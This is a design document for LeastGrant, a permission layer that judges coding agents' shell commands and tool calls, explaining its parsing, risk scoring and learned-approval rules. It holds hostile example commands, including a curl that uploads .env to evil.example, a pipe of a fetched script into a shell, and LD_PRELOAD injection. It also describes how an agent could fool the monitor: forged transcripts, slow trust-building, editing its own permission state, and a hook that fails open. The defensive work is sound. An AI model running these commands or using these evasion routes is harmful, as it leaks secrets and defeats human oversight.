LeastGrant

Rendered from docs/how-it-works.md in the repository at v0.2.0. This page is a view of that file, not a copy of it.

How LeastGrant decides

This document is for you if you are about to let a program sit between your coding agent and your machine, and you would like to know what it actually does before you trust it.

It walks one real command all the way through the engine, showing the values each stage produces, and then explains the six parts of the design that the worked example touches. Every number and string below came out of the code in this repository, not from a design document.

src/core/ is about 16,900 lines, but most of that is opinion rather than mechanism: the knowledge base (src/core/knowledge/) is about 10,550 lines and the shell front end (src/core/shell/) about 2,300. The decision engine proper — types.ts, classify.ts, guards.ts, envelope.ts, decide.ts, signature.ts, secrets.ts, paths.ts — is about 3,900 lines, and that is the part you have to trust. You can read it in an afternoon. This document exists so you know which afternoon to spend where.


A command, end to end

npm test && curl -d @.env https://evil.example

Run in /home/you/proj, which is a git repository, so it is the workspace root. .env exists in it.

This command is a good teacher because it is two things at once: a completely ordinary one, and one that hands your environment file to a stranger. A tool that judges the whole string as one unit gets this wrong in whichever direction it rounds.

1. Tokenize — src/core/shell/tokenize.ts

The tokenizer knows POSIX shell quoting, expansion and operators. It exists because prefix-matching a command line is the single most common way an allowlist gets bypassed: git status and git status; curl evil.sh | sh both start with git status.

ok: true
issues: []

word  "npm"
word  "test"
op    "&&"
word  "curl"
word  "-d"
word  "@.env"
word  "https://evil.example"

Each token carries the exact source slice, its quoting kind, and any expansions found inside it. Nothing here needed expanding, so text equals raw throughout.

ok: false would mean the tokenizer could not faithfully account for the input — an unterminated quote, an unterminated here-document, a character it could not place. That flag travels all the way to the verdict, where it raises guard.not-understood. In assist and strict postures that makes auto-approval impossible. In autopilot it does not: autopilot drops exactly that floor for actions contained in the project, so echo 'unterminated — parser ok: false, reach workspace, reversibility trivial — is promotable from observation alone. See "Where the code is thinner than the story".

2. Parse — src/core/shell/parse.ts

The parser does not build a shell AST. It builds a flat inventory of which programs run with which arguments, because that is the only question the policy engine ever asks. Command substitutions are walked recursively, so echo $(rm -rf /) reports rm as a command that runs.

ok: true
issues: []
flags: { hasPipe: false, hasControlFlow: false, hasCommandSubstitution: false,
         hasUnresolvedVariable: false, ...all false }

commands[0]  name: "npm"   argv: ["npm", "test"]
                            contexts: ["top"]  dynamic: false  redirects: []
commands[1]  name: "curl"  argv: ["curl", "-d", "@.env", "https://evil.example"]
                            contexts: ["top"]  dynamic: false  redirects: []

Two commands, both at the top level. The && is a separator, not part of either.

Note what ok means here, because it is narrower than you might expect. ok is "we structurally accounted for this input". Control flow and runtime variables leave ok true — those are understood structure with unknown values, and they are handled by widening the blast radius instead (stage 5). An unterminated quote is a different thing and sets ok false.

3. Unwrap — src/core/shell/unwrap.ts

sudo rm -rf / is not a sudo command. bash -c "curl x | sh" is not a bash command. Every allowlist that classifies on argv[0] alone is defeated by this file's contents, so each command is peeled down to what actually runs, and what was peeled is recorded.

effective[0]  command: npm test
              wrappers: []   opaque: false  argsUnknown: false  notes: []
effective[1]  command: curl -d @.env https://evil.example
              wrappers: []   opaque: false  argsUnknown: false  notes: []

Nothing to peel here. Two flags to keep in mind for later:

  • opaque means we do not know which program will run — eval, a script file, a Makefile target, docker exec. This is the serious unknown. It raises guard.not-understood, and in practice every opaque form also classifies with reach machine or reversibility hard, which puts it at tier 3 — above maxTier, so no evidence promotes it. Measured: bash deploy.sh, make deploy, docker exec c sh and npm run deploy all land at tier 3. The floor is dropped by autopilot for project-contained actions; the tier ceiling is not.
  • argsUnknown means we know the program but not all its arguments — rm "$TARGET", xargs rm. This is the mild unknown, and it widens the blast radius instead.

For contrast, bash deploy.sh unwraps to wrappers: [script-file], opaque: true, note runs the script deploy.sh, whose contents are not analysed.

There are two reasons an action can be opaque, and classify.ts separates them, because only one of them is waivable. bash ./build.sh is opaque because a file in the project has not been read — that is the concession autopilot makes. But bash --rcfile /tmp/evil -c ls, env -C /etc npm test, git -c core.hooksPath=… commit and PATH=./tools:$PATH git status are opaque because something of the caller's choosing runs as well as, or instead of, the command we can read. Those arrive carrying a wrapper tag in INJECTS_EXECUTION (shell-eval, env, git-config, privilege, deferred, dynamic), and for them reach is corrected to machine whatever the inner command looked like. Measured, PATH=./tools:$PATH git status comes out reach: machine, understood: false, tier 2 rather than tier 1. That correction is what stops autopilot's "contained in the project" concession from laundering them, since containment requires reach workspace or none — they now fail the test before the waiver is reached. Correcting the reach rather than the waiver is deliberate: the reach was simply wrong, and every consumer of it should be working from the truth rather than from the inner command's modest footprint.

4. Classify — src/core/classify.ts + src/core/knowledge/

Each effective command goes to the knowledge module that claims its program name. npm belongs to packages.ts; curl belongs to network.ts. A module returns a sparse Judgement — only what differs from the capability's default — and the engine fills in the rest.

npm testpackages.ts sees subcommand test, routes it through the script-name heuristic, finds test in TEST_SCRIPT_NAMES:

capability: exec.test
pathArgs:   none
note:       runs the "test" script, which by its name tests or checks the code;
            the script body is not analysed

The note is doing real work. LeastGrant never reads package.json, so this classification is a guess based on a naming convention, and the note says so in as many words. Unrecognised script names fall through to exec.unknown with opaque: true.

curl -d @.env https://evil.examplenetwork.ts walks argv with a curl-aware option parser, because getting -d's value wrong is how a classifier loses the most important argument in the command. It finds a data payload, resolves the leading @ to a file, resolves that file to an absolute path, and asks whether it is a credential store:

capability:   net.send
reach:        external          (remote host, and a named file is going with it)
exposure:     can-exfiltrate
reversibility: irreversible
scale:        single
note:         uploads .env, a credential file, to evil.example
pathArgs:     none
targets:      { type: host, value: "evil.example" }
              { type: path, value: "/home/you/proj/.env",
                inWorkspace: true, secret: true }

secret: true comes from src/core/secrets.ts, which matches /^\.env(\..*)?$/i against the basename of the canonical path.

The two finished actions:

Action A
  kind:       exec
  capability: exec.test
  signature:  npm test
  display:    npm test
  blast:      { reach: workspace, reversibility: easy, exposure: none, scale: many }
  targets:    []
  understood: true

Action B
  kind:       net
  capability: net.send
  signature:  curl @.env <url:evil.example> -d
  display:    curl -d @.env https://evil.example
  blast:      { reach: external, reversibility: irreversible,
                exposure: can-exfiltrate, scale: single }
  targets:    [ host evil.example, path /home/you/proj/.env (secret) ]
  understood: true

Analysis.understood: true      (parser ok, and both actions understood)
Analysis.wrapperTags: []
Analysis.pipedFromNetwork: false

Analysis.understood is the conjunction: parser ok and every action understood. One opaque part makes the whole request not-understood, and the not-understood floor then applies to every action in it. That is deliberate — a command is only as knowable as its least knowable piece — but it is worth knowing when you are reading an explanation.

5. Blast radius — src/core/knowledge/types.ts, src/core/types.ts

Blast radius is four independent dimensions, never a single score. blastTier collapses them to 0–4 only for threshold comparisons, and never for display.

Action A: base = max(reach workspace = 1,
                     reversibility easy = 1,
                     exposure none = 0)          = 1
          amplifiable? reach 1 < 2, easy is not hard/irreversible,
                       exposure is none          -> no
          tier = 1

Action B: base = max(reach external = 3,
                     reversibility irreversible = 4,
                     exposure can-exfiltrate = 4) = 4
          amplifiable? yes, but scale is single (+0)
          tier = min(4, 4) = 4

npm test runs many things and is still tier 1, because "many" only amplifies harm that is already there. Details in the blast radius section below.

6. Floors — src/core/guards.ts

Floors are evaluated per action, against the finished blast radius and targets.

Action A (npm test):  []

Action B (curl):      guard.exfiltrate   ask
                        "this sends data off the machine, so anything it can read
                         it can also leak"
                      guard.irreversible ask
                        "this cannot be undone"

guard.exfiltrate fires on exposure === 'can-exfiltrate'. guard.irreversible fires on reversibility === 'irreversible' whenever reach is anything other than workspace.

Note which guard does not fire: guard.secret-read. It keys on exposure === 'reads-secrets' or capability === 'secret.read', and this action's exposure is the strictly worse can-exfiltrate. The fact that the payload is your .env lives in action.notes, not in a guard hit. See "Where the code is thinner than the story" at the end.

7. Familiarity — src/core/envelope.ts

The project envelope is empty, so:

familiarity(A) = { confirmed: 0, denied: 0, observed: 0, sessions: 0, days: 0,
                   approvalLowerBound: 0, novel: true, novelTransition: false }
familiarity(B) = same

canPromote(A, tier 1) -> { eligible: false, reason: "not-enough-evidence" }
canPromote(B, tier 4) -> { eligible: false, reason: "blast-too-high" }

blast-too-high is returned before any statistic is examined. For an action above the ceiling, evidence is not weighed and rejected — it is not looked at.

8. Verdict — src/core/decide.ts

Each action is decided on its own, then the worst one drives the verdict: deny beats ask beats allow, and within a tie the larger blast tier wins. Both actions here land on ask, so tier 4 beats tier 1 and the curl drives.

decision: ask
floor:    true
action:   curl @.env <url:evil.example> -d
headline: This sends data off the machine, so anything it can read it can also leak.

reasons:
  guard.exfiltrate   [blocks]  this sends data off the machine, so anything it can
                               read it can also leak
  guard.irreversible [blocks]  this cannot be undone
  floor.explain      [info]    LeastGrant never auto-approves this kind of action,
                               however often it happens
  multi.actions      [info]    this command runs 2 separate things; the verdict
                               reflects the most far-reaching one

floor: true means a hard guard fired on the driving action. It does not mean "this will always ask". Verdict.floor is worst.hits.length > 0, computed from the raw guard hits before rules and posture are applied, so an explicit allow rule produces decision: allow with floor: true and the satisfied guards listed as (allowed by your rule) — verified against the engine. An interface that renders floor as "this will always ask" is reading more into the field than it carries.

The Claude Code hook then emits:

{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"ask",
  "permissionDecisionReason":"LeastGrant: This sends data off the machine, so anything it can read it can also leak."}}

Two things about that. A hook deny is absolute in Claude Code — it beats allow rules and it beats bypassPermissions. A hook allow is not: your own deny and ask rules still override it. And any failure of the hook — crash, timeout, exit 1 — is non-blocking, which means the tool call proceeds. LeastGrant fails open. It is a decision layer, not a sandbox, and src/adapters/claude-code/hook.ts says so at the top rather than burying it.

Nothing above this point was Claude-specific. A second adapter, src/adapters/cursor/hook.ts, translates Cursor's beforeShellExecution / beforeMCPExecution / beforeReadFile events into the same Request and calls the same exported judgePre and recordPost — so the same command judged under either agent produces the same signature and shares one learned history. An adapter owns the request and response shapes and nothing else; a copy of the decision path per agent is how a fix lands in one place and not the other. Cursor's own limits do show through: it honours ask on shell and MCP events only, so an ask on a file read becomes allow unless the reason was guard.secret-read or guard.self-write, and it exposes no permission mode, so Cursor sessions learn from observation only.


Decision precedence

From decideOne in src/core/decide.ts, highest first:

  1. Integrity floors — deny. Currently one: guard.self-write, which fires when a non-read action targets a path inside LeastGrant's own state directory. Nothing overrides it, not a rule you wrote, not any amount of history. It sits at the top because an agent that can quietly edit the records of what agents are allowed to do has removed the thing you installed. If you want to change LeastGrant's state, run a leastgrant command.
  1. Explicit deny rules — deny. You said never. There is nothing above this except the thing that protects the mechanism itself.
  1. Explicit allow rules — allow. You already answered this question.
  1. Ask floors — ask. Everything else in guards.ts, which is exactly this list: guard.agent-config (editing the configuration that decides what agents may do, including the hook that runs these checks), guard.secret-read, guard.exfiltrate, guard.write-outside, guard.persistence (persistence files, and also scheduling commands — crontab, schtasks, systemctl enable, launchctl load, reg add), guard.privilege, guard.pipe-to-shell, guard.fetch-run (can download a package and run it in one step), guard.production, guard.publish, guard.irreversible, and guard.not-understood. Learning cannot unlock these, however often they happen — with the single exception of guard.not-understood under autopilot, below.
  1. Learned promotion — allow, if the evidence clears the bar for this blast tier.
  1. Otherwise — ask, with a reason that says what would change the answer.

One more pass runs in decide rather than decideOne, after the per-action verdicts are ranked. taintConcern looks at what this session has already done: if it read a credential file and this action is net.send, any net.fetch, or exec.vcs.publish; or if it installed packages and this action is exec.unknown. When it fires, a session.taint reason is prepended and an allow is downgraded to ask. It only ever tightens, and it leaves a deny alone.

The net.fetch arm does not check whether the call looks like an upload, and that is the point. A plain GET carries whatever the agent chose to put in the URL. The sequence — read a credential, then reach the network — is the shape that matters, not the verb.

Why an allow rule outranks an ask floor but not an integrity floor

An ask floor exists for exactly one purpose: to get a human answer before this happens. A rule you wrote is a human answer, given in advance and in writing. Refusing to honour it would not be extra safety, it would be asking you the same question you have already answered in the config file, forever — which is how people turn a permission tool off. So an allow rule satisfies the floor, and the explanation still lists every floor it satisfied, tagged (allowed by your rule), so the record shows what the rule actually covered.

An integrity floor is different in kind. It does not exist to get your answer about the action — it exists to make sure the mechanism that asks you questions is still there tomorrow. A rule that says "allow writes to ~/.leastgrant/" would be a rule that disables rules. There is no coherent reading of it, so it is not honoured.

Posture adjusts this, and each adjustment is narrow enough to state exactly:

  • strict skips step 5 entirely: only explicit allow rules run without asking.
  • autopilot makes two concessions, both bounded by containedInProject, which requires reach of workspace or none, exposure none, and no target that is secret or outside the workspace. It drops guard.not-understood for such actions, and it lets observation promote easy-reversible ones as well as trivial ones. Every other floor still stands. Autopilot is aimed at someone who would otherwise be running with permissions switched off entirely, and it is strictly more protection than that.
  • observe decides and records but emits nothing, so the agent is never affected.

Blast radius

Four dimensions, defined in src/core/types.ts:

dimensionvalues
reachnone, workspace, machine, network, external, production
reversibilitytrivial, easy, hard, irreversible
exposurenone, reads-secrets, can-exfiltrate
scalesingle, many, sweeping

They are separate because a single number is not an explanation. "0.7314" tells you nothing you can act on; reach: network tells you where to look. The interface renders the dimensions; describeBlast turns them into a sentence with no numbers in it.

The ordinal exists anyway, because thresholds need one:

REACH_TIER          none 0  workspace 1  machine 2  network 2  external 3  production 4
REVERSIBILITY_TIER  trivial 0  easy 1  hard 3  irreversible 4
EXPOSURE_TIER       none 0  reads-secrets 3  can-exfiltrate 4
SCALE_BUMP          single +0  many +1  sweeping +2

base = max(REACH_TIER, REVERSIBILITY_TIER, EXPOSURE_TIER)

amplifiable = REACH_TIER >= 2
           || reversibility is hard or irreversible
           || exposure is not none

tier = min(4, base + (base > 0 && amplifiable ? SCALE_BUMP : 0))

Max, not average. An action that is trivially reversible but reads your SSH key is not "medium risk". It is a secret read. Averaging is how a security tool ends up approving the one thing that mattered because three other dimensions were fine.

Scale amplifies; it does not create. Doing a recoverable, project-local thing a thousand times is still recoverable. An echo inside a loop is not a bigger deal than an echo, and a test run that writes a hundred build artifacts is not a bigger deal than one that writes ten. So the scale bump only applies where there is something for it to amplify. Without the amplifiable predicate, npm test — reach workspace, scale many — landed at tier 2 and demanded eleven approvals instead of five, and anything that ever appeared inside a for loop was pushed permanently out of the auto-approvable band.

The tier is compared against exactly two things: maxTier (default 2 — nothing above it is ever promoted by any evidence) and the confidence table below.


The three kinds of evidence

Four values, but three real kinds, from EvidenceKind in src/core/types.ts:

  • confirmed — a human explicitly approved it. There is exactly one producer: the live hook, where it means LeastGrant said ask, the session was attended (permission mode not in bypassPermissions, acceptEdits, dontAsk, auto), and PostToolUse fired, which means it ran. Mining a transcript never produces it. evidenceFor in src/adapters/claude-code/mine.ts returns only observed or denied, because a transcript is a file on disk: an agent talked into writing to ~/.claude/projects/ can fabricate months of plausible history, and measured, one forged transcript promoted an outbound curl to an attacker-chosen host on the strength of nothing at all. So mining claims only what it can honestly claim — this is what typically happens here — and setup turns that typicality into an offer. Your answer to the offer is the attestation. A separate attendedFor() answers the different question "was anybody at the keyboard", and is used for telling you what your own history looks like, never for promoting anything.
  • granted — you approved it in bulk during leastgrant init, with the blast radius on screen. Same attestation, different shape: one deliberate decision, not many clicks.
  • observed — it merely happened. Bypass mode, accept-edits, an auto-allowed tool (Read, Glob, Grep, TodoWrite, NotebookRead, WebSearch, Task). Nobody agreed to any of it.
  • denied — you turned it down. In transcripts that is toolDenialKind: "user-rejected" or the prose "The user doesn't want to proceed with this tool use." Note where that leaves the live hook: it has no denial path at all. A call you refuse never reaches PostToolUse, so there is nothing to record and nothing is recorded. Denials reach a stored envelope only through leastgrant init, which mines them out of the transcript afterwards. leastgrant simulate mines them too, but into a throwaway envelope it never saves. Refusing something at the prompt today therefore teaches LeastGrant nothing until that transcript is read.

The distinction is the backbone of the design, and here is why.

A learning permission system that treats "it happened" as "it was fine" can be trained by the thing it is supposed to be watching. An agent running unsupervised for a week generates thousands of events and zero decisions. If those events widened its own permissions, the correct attack is not to do anything clever — it is to be boring for long enough.

So the two uses are deliberately asymmetric. Observation is strong evidence about what is typical, and typicality is exactly what you want for anomaly detection: "this session has never gone from editing files to reading credentials" is a real signal. Observation is weak evidence about what is safe, because nobody sanctioned it. LeastGrant uses it for the first purpose freely and for the second only where being wrong cannot hurt you.

Denials are treated differently again: approvals decay, denials do not. Confirmed and observed counts are multiplied by 0.5 ^ (age / 90 days) on every fold and on every lookup. denied is never decayed and never divided. Saying no once means LeastGrant keeps asking, and only a rule you write can undo it. That is simpler than a demotion schedule, more predictable for you, and immune to waiting for the denial to expire.


The promotion gate

canPromote in src/core/envelope.ts, in reading order — preceded by the step that decides which evidence it is even allowed to see, in familiarity:

0. bucket by tier      ->  only counts earned at this tier or worse are visible
1. tier > maxTier (2)  ->  blast-too-high      never promoted, evidence not examined
2. denied > 0          ->  previously-denied   never promoted, evidence not examined
3. grantedAt set       ->  promoted
4. human-attested route
5. observation-only route

Step 0 is the one that is easiest to miss and does the most work. observe files every occurrence into _byTier under the tier it actually reached at the time, and familiarity sums only the buckets at or above the tier now being decided. Evidence is spent where it was earned. Measured: a signature approved twenty times while it sat at tier 0 arrives at a tier-2 decision with confirmed: 0 and the gate answers not-enough-evidence. Without it, a signature that was harmless for a month could be promoted at a tier it had never once been seen at — which is the same command doing something new, wearing the old command's history. Decay applies to the buckets and not only to the flat totals, for the same reason: otherwise the numbers the gate reads never age.

Steps 1 and 2 come before any statistic on purpose: for an action above the ceiling or with a denial against it, no accumulation of evidence is even looked at, let alone accepted. That is what makes slow escalation structurally impossible instead of statistically unlikely.

The arithmetic

Confidence is the lower bound of a one-sided 95% Wilson interval on the approval rate, with z = 1.645. A one-sided z is used because the claim is one-sided ("the true rate is at least X"); using the two-sided 1.96 would silently make every threshold stricter than documented.

For a clean record — every observation an approval, no denials — the Wilson bound collapses to a closed form:

confidence(n) = n / (n + z²)          z² = 2.706025

which inverts to

approvals needed = ceil(confidence · z² / (1 − confidence))
confidenceapprovalscheck
0.6055 / 7.706 = 0.6488
0.7077 / 9.706 = 0.7212
0.801111 / 13.706 = 0.8026
0.902525 / 27.706 = 0.9023
0.955252 / 54.706 = 0.9505

You can check any of this with a calculator, which is the point of publishing it.

Required confidence by blast tier, from CONFIDENCE_BY_TIER:

tierrequiredapprovals from a clean record
00.605
10.605
20.8011
3+never, at any level of evidence

That last row is true at the default maxTier: 2, and only because of it — the ceiling is checked first, so the schedule above it is never consulted. requiredConfidence does have one, for anyone who raises the ceiling: past the table each tier keeps a quarter of the remaining doubt, so tier 3 requires 0.95 (52 clean approvals) and tier 4 requires 0.9875 (214). It is written that way because the code used to fall back to minApproval up there, which is lower than the tier-2 entry — so opting into promoting irreversible, machine-wide actions bought you a discount, and the ceiling check happened to hide it at the default setting. Right by accident is the worst kind of correct.

A single denial is expensive and stays expensive: it short-circuits the gate before the confidence is computed at all.

Route one: human-attested

Requires all of:

  • at least one confirmed,
  • wilsonLowerBound(confirmed, confirmed + denied) >= required for the tier,
  • days >= 2 (distinct UTC day-stamps),
  • sessions >= 2 (distinct session ids).

The day and session spread is what stops a burst of prompt-clicks inside one compromised session from teaching a habit.

This route can promote anything up to tier 2. That is the only route that can promote a write, a delete, or anything that touches the network.

A granted signature short-circuits straight to eligible. The day and session spread exists to defeat a burst inside one session; a reviewed, deliberate, one-off decision made during setup is not that. Internally the grant is stored as confirmed = approvalsNeededFor(0.8) so the arithmetic downstream works out, and grantedAt is set so the interface says "you approved this during setup" instead of claiming you clicked yes eleven times.

Failing this route falls through to route two rather than returning. A signature with one approval and four hundred observations is strictly better evidenced than one with four hundred observations alone, and it would be perverse for that first approval to make LeastGrant more cautious than it was the moment before.

Route two: observation-only

Requires all of:

  • reach is workspace or none, and
  • reversibility is trivial, and
  • exposure is none, and
  • scale is not sweeping, and
  • observed + confirmed >= 8, and
  • sessions >= 2.

The predicate is stated in consequences rather than as a tier number because that is the part you need to be able to check by reading. In practice it means reads and inspections. It cannot promote a write, a delete, anything networked, anything credential-adjacent, or anything outside the project — those need either a human approval or a rule you wrote, which leastgrant init offers to collect in bulk.

The gate here is distinct sessions, not distinct days. Requiring days as well made LeastGrant useless on the first day of any project, and a repository worked on hard for one afternoon never promoted anything at all. Requiring more than one session still defeats the case that matters — a single runaway session cannot bootstrap its own trust — and everything eligible by this route is contained and reversible by construction.

Approvals count as observations here too: a human watching something run is at least as good evidence that it ran without incident.


Signatures

The signature is the identity under which learning accumulates. git commit -m "fix login bug" and git commit -m "bump deps" are the same habit and should count together. git push and git push --force are not. Getting that line right is most of what makes the learning feel intelligent rather than either forgetful or reckless.

Two rules keep generalization from becoming an attack surface.

Normalize the parsed argv, never the raw string. Regexes over a command line are how two commands with different meanings collapse into one signature. Templating happens per token, after parsing and unwrapping.

Risk-relevant distinctions survive templating. From src/core/signature.ts:

inputbecomes
a path inside the workspace<path>
a path outside the workspace<path:outside:REGION> — see below
a path that will not resolve at all<path:unresolved>
a path matching a secret pattern<path:secret>
a URL<url:hostname> — the host is kept
a URL with no host, e.g. file:///etc/passwd<url>
user@host:path<remote>
a git SHA<sha>
a UUID<uuid>
a version<version>
a number<n>
:1234<port>
an unresolvable expansion<dynamic>
a long or whitespaced string beginning with a SQL verb<sql:select>, <sql:drop>, …
anything else with whitespace, or longer than 48 chars<text>
anything elseitself

Flags are kept, because they change behaviour, and sorted, because their order does not. Flag values are normalized like positional arguments, so --output=/tmp/x becomes --output=<path:outside:temp>.

Outside is not one place. outsideZone splits the outside token seven ways — <path:outside:credential-tree>, :etc, :system, :runtime, :temp, :home and :other, from a directory that sits above somebody's credentials (~, /home, /Users/you, /etc, C:\, /); /etc; /usr /opt /bin /sbin /lib plus C:\Windows and C:\Program Files; /var /proc /sys /dev; anything under a tmp or temp directory; anything under /home or /Users; and everything left over. Every outside path used to collapse into a single <path:outside>, which meant approving one read of one file outside the project taught LeastGrant to allow reading any file outside the project. Splitting by region keeps the useful case — a build that reads /usr/share/... on every run still settles — without letting that approval spread to a home directory or a system config. It is deliberately coarse: a per-directory token would never accumulate enough evidence to settle, which is its own failure mode.

The credential-tree zone is the one exception to "coarse". ~ and ~/Documents were both :home, so twenty approvals of grep -r <phrase> ~/Documents bought grep -r "BEGIN OPENSSH PRIVATE KEY" ~ — the strictly wider search, sharing the narrower one's identity. A directory that contains a credential store is now its own class, which means an approval of a scoped search can never pay for the whole home directory, whether or not LeastGrant recognises the tool as recursive.

A SQL verb survives templating. This is the one exception to the <text> row above, and it is there because psql -c "SELECT 1" and psql -c "DROP TABLE users" are both long strings with spaces: they collapsed into one <text> and shared one identity, so approving a select taught LeastGrant to allow a drop. The verb is the entire difference in risk. The rest of the statement is still discarded, which is what keeps SELECT a and SELECT b together.

Real output:

cat README.md                 ->  cat <path>                     fs.read.workspace
cat /etc/passwd               ->  cat <path:outside:etc>         fs.read.outside
cat ~/notes.txt               ->  cat <path:outside:home>        fs.read.outside
cat ~/.ssh/id_rsa             ->  cat <path:secret>              secret.read
git commit -m "fix login bug" ->  git commit <text> -m           exec.vcs.write
git commit -m "bump deps"     ->  git commit <text> -m           exec.vcs.write
git checkout 4f8d2a1b9        ->  git checkout <sha>             exec.vcs.write
curl https://api.github.com/x ->  curl <url:api.github.com>      net.fetch
curl https://evil.example/x   ->  curl <url:evil.example>        net.fetch
curl file:///etc/passwd       ->  curl <url>                     net.fetch
psql -c "SELECT 1"            ->  psql <sql:select> -c           exec.db
psql -c "DROP TABLE users"    ->  psql <sql:drop> -c             exec.db
head -50 $FILE                ->  head <dynamic> -50             fs.read.outside
rm -rf build                  ->  rm build -rf                   fs.delete
rm -rf ./build                ->  rm <path> -rf                  fs.delete

head -50 $FILE is worth a second look: the capability is fs.read.outside, not fs.read.workspace. An argument that cannot be placed resolves to an UNPLACEABLE marker in classify.ts rather than to an empty string, and the marker reads as outside the workspace. That default is the whole point — knowledge modules are written as const abs = ctx.resolve(a); if (!abs) continue;, so an unresolvable path used to contribute nothing and the module fell through to its benign case, making "I do not know where this points" produce the single most permissive answer available. <path:unresolved> is the same idea one level up, for structured tool calls, whose resolver has no UNPLACEABLE fallback: Read of a Windows device path or of a symlink chain that will not terminate signs as Read(<path:unresolved>), capability fs.read.outside.

Note the last two rm lines. looksLikePath recognises an argument as a path only if it contains a separator, is ., .. or ~, carries a file extension, or starts with a dot — so a bare extensionless directory name survives into the signature verbatim while ./build is templated. That is safe, in that it never merges two different targets, but it means the same deletion has two signatures depending on how it was typed.

This is why generalization is safe. No amount of learning about cat <path> can ever quietly cover cat ~/.ssh/id_rsa: they are different signatures, so the evidence does not transfer, and the second also trips a floor that no evidence can unlock. Approving a hundred curl <url:api.github.com> calls teaches nothing at all about curl <url:evil.example>.

Things that join the signature without being arguments

The list above is about argv. Several other parts of a request change what a command does while leaving argv untouched, and each of them was, at some point, a way to inherit an honest command's approvals.

Leading environment assignments. PATH=./tools:$PATH git status and git status were the same learned thing, so approving the second taught LeastGrant to allow the first. assignmentSignature prefixes them, sorted, with values normalized like any other argument — FOO=bar git status is FOO=bar git status, which is not git status. Three spellings reach the same place: env FOO=x cmd moves its assignments into the parsed command rather than dropping them (env LD_PRELOAD=/tmp/evil.so npm test used to come out byte-identical to plain npm test), git -c key=value keeps the key and drops the value, and assignments made outside a sh -c are carried onto the payload parsed out of it, so BASH_ENV=/tmp/evil sh -c "git status" is not git status. Names on the REDIRECTS_EXECUTION list additionally make the action opaque; the signature is the first line, and the list is the second.

Output redirects. echo hi and echo hi > ~/.bashrc shared a signature. Redirect targets are appended and normalized like anything else, so those are now echo hi and echo hi > <path:outside:home>, and the second is also reclassified fs.write.outside — widening the blast radius alone was not enough, because the floors in guards.ts key on capability.

dangerouslyDisableSandbox. A flag on the tool call rather than in the command string. When it is true the signature is prefixed unsandboxed and understood is forced to false, so npm test with the sandbox off is a different identity from npm test and is never learnable in any posture. Opting out of a sandbox is a decision, not a habit.

MCP arguments. For a while an MCP signature was the tool name alone, and that was the widest collision in the system: mcp__db__query was one identity, so eleven approved SELECTs auto-approved a DROP TABLE, and get_document({}) auto-approved get_document({destructive: true}). mcpArgSignature now appends a shape — sorted key names with a coarse description of each value, in its own small vocabulary on top of the table above: <id> for an identifier containing a digit, <true> / <false> kept verbatim because force and dryRun are exactly the arguments that decide what a call does, <redacted> for a key whose name looks credential-bearing, <text> for a prose-shaped key like title or body, <n>, <null>, <list of …> from the first element only, and {…} to a depth of two. Measured output:

mcp__db__query({sql: "SELECT 1"})     ->  mcp__db__query(sql=<sql:select>)
mcp__db__query({sql: "DROP TABLE t"}) ->  mcp__db__query(sql=<sql:drop>)
mcp__acme__get_document({})           ->  mcp__acme__get_document()
  {destructive: true}                 ->  mcp__acme__get_document(destructive=<true>)
  {token: "sk-…", path: "/etc/hosts"} ->  mcp__acme__get_document(path=<path:outside:etc>,
                                                                 token=<redacted>)

The <id> rule is MCP-specific: a shell argument with a digit in it is kept verbatim, but MCP calls are overwhelmingly "do this to record ABC-123", and one identity per ticket would mean a prompt for every ticket the agent ever opens.

And nothing credential-shaped leaves analyze(). Signatures are passed through redact() at the boundary, alongside display. --password=hunter2supersecret and AWS_SECRET_ACCESS_KEY=wJal… both survive templating — a short argument with no whitespace looks exactly like the identifier that ought to be kept — so the secret landed in the envelope, in the session file, and worst of all in denials.jsonl, which is append-only and by design never pruned or decayed, so it outlived every other copy. Scrubbing at the boundary rather than at each of the places a signature is assembled is deliberate: those are many and will grow, and the property wanted is about the boundary. It costs nothing in precision, since two different passwords to the same command were never usefully different learned identities.

mysql --password=hunter2supersecret -e "SELECT 1"
  ->  mysql <sql:select> --password=«redacted:flag-value» -e
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY aws s3 ls
  ->  AWS_SECRET_ACCESS_KEY=«redacted:env-secret» aws s3 ls

There is one deliberately coarser key, familyOf, which keeps the first two words of a signature — git push --force maps to family git push — plus a third when the second is a dispatch word like run, remote or config, so that git remote add <text> does not collapse into git remote. It exists to explain a decision or to order suggestions, and never to grant permission, because a family is exactly the kind of generalization an attacker would aim at. As of this writing nothing calls it; the intent is documented here because the function is exported and someone will.


Prequential replay

src/replay.ts, exposed as leastgrant simulate.

Replay answers "what would LeastGrant have done?" against your actual history. It is prequential: events are sorted by time, each decision is made using only the envelope as it stood before that event, and only then is the event folded in.

The alternative — build the model from all of history, then grade it on the same history — is much easier and much more flattering, and the number it produces means nothing. It is testing on your training data. A model that has already seen every command you will ever run, being asked how many of them look familiar, will always answer "all of them". You would get a headline percentage that describes memorisation rather than learning, and it would not predict anything about tomorrow.

Doing it in time order costs nothing and buys two things. The number is honest. And you get the learning curve for free: firstQuarterAskRate against lastQuarterAskRate, measured per project rather than by calendar time, because measured by calendar time the curve is dominated by whichever repository happened to start most recently.

Three details worth knowing:

  • Projects with fewer than 40 decisions are excluded from the learning curve. A repository someone touched once cannot demonstrate a trend.
  • Denials are attributed to the worst action in the command, not to every part of it. The human refused a command, not each of its pieces; cd build && rm -rf / is one refusal, and attributing it to cd would blacklist cd forever, since denials never decay. The other actions record nothing at all — they did not run, so they are not observations either.
  • The metric that matters is not the prompt reduction. It is regrets: actions LeastGrant would have waved through that you actually turned down. One of those is worth more attention than any headline percentage.

How to add knowledge

The knowledge layer is the part of LeastGrant that is opinion rather than mechanism, which makes it both the most useful thing to contribute to and the safest — being wrong about terraform cannot break git.

A module answers one question for a family of programs: given this argv, what capability is being used and how far can it reach?

export type Classifier = (argv: string[], ctx: KnowledgeCtx) => Judgement | null;

export interface ProgramKnowledge {
  /** Base program names handled, lowercased, no extension. */
  names: string[];
  /** One-line description, surfaced by `leastgrant knowledge`. */
  describe: string;
  classify: Classifier;
}

That describe comment is aspirational — there is no leastgrant knowledge command. See the last section.

ctx gives you cwd, roots, and three functions: resolve(arg) to a canonical absolute path, inWorkspace(abs), and isSecret(abs). Use them rather than string-matching paths yourself — src/core/paths.ts handles traversal, symlinks, case-insensitive filesystems, UNC paths and NTFS alternate data streams, and none of that is a one-liner.

